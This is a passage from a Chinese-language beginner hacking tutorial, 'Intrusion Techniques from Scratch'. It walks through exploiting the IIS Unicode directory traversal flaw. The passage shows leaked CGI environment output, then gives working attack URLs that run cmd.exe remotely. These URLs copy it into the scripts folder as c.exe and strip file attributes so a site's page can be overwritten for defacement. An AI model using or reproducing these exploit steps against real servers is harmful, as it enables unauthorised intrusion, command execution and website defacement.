入侵技术从零开始——《入侵入门》
这时浏览器会返回一些信息（具体内容可能和下面的有所不同）：
CGI Error
The specified CGI application misbehaveed by not returning a complete
set of HTTP headers. The headers it did return are:
ALLUSERSPROFILE=E:\Documents and Settings\ALL Users
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQ\badboy
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl
CommonProgramFiles=e:\Program Files\Common Files
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP+ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0 (compatoible; MSIE 5.01; Windows NT 5.0)
HTTP_AUTHORIZATION=Negotiate
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP=off
OS=Windows_NT
Path=D:\WINNT\system32; D:\WINNT; D:\WINNT\System32\Wbem
PATH_TRANSLATED=d:\inetpub\wwwroot
上面PATH_TRANSLATED的值既为IIS的发布目录。
3.把cmd.exe复制到scripts的目录下，并改名为c.exe（名字可以自己定），避开原来的cmd.exe对特殊字符进行检查，输入：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+e:\winnt\system32\cmd.exe+e:\inetpub\scripts\c.exe
[注意：如果要上传“黑页”的话，根据经验，并不需要将cmd.exe改名拷贝到scripts下
4.为防止X为只读，不能够进行修改，还要先执行下面的代码，解除X文件的只读属性：
http://x.x.x.x/scripts/c.exe?/c+attrib+-r+-h+-a+d:\inetpub\wwwroot\X
这时的X就是可以写的属性了。